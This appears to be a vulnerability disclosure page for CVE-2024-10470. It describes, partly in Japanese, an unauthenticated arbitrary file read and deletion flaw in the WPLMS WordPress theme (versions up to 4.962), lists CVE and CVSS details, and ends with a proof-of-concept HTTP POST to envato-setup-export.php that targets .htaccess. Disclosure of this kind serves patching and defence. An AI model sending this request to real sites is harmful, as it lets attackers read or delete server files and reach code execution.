randomrobbiebf/cve-2024-10470WPLMS Learning Management System for WordPress <= 4.962 – 認証なしの任意ファイル読み取りおよび削除
WPLMS Learning Management System for WordPress <= 4.962 – 認証なしの任意ファイル読み取り・削除
WordPress用のWPLMS Learning Management System（WordPress LMSテーマ）は、バージョン4.962以下において、readfile関数およびunlink関数でのファイルパス検証と権限チェックが不十分であるため、任意のファイル読み取り・削除が可能です。これにより、認証されていない攻撃者がサーバー上の任意のファイルを削除でき、適切なファイル（wp-config.phpなど）が削除された場合、容易にリモートコード実行に至る可能性があります。この脆弱性はテーマが有効化されていない場合でも存在します。
Affected Theme: WPLMS Learning Management System for WordPress
Theme Slug: wplms
Affected Versions: <= 4.962
CVE ID: CVE-2024-10470
CVSS Score: 9.8 (Critical)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Researcher/s: Foxyyy
Fully Patched Version: 4.963
POST /wp-content/themes/wplms/setup/installer/envato-setup-export.php HTTP/1.1
Host: kubernetes.docker.internal
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
download_export_zip=1&zip_file=.htaccess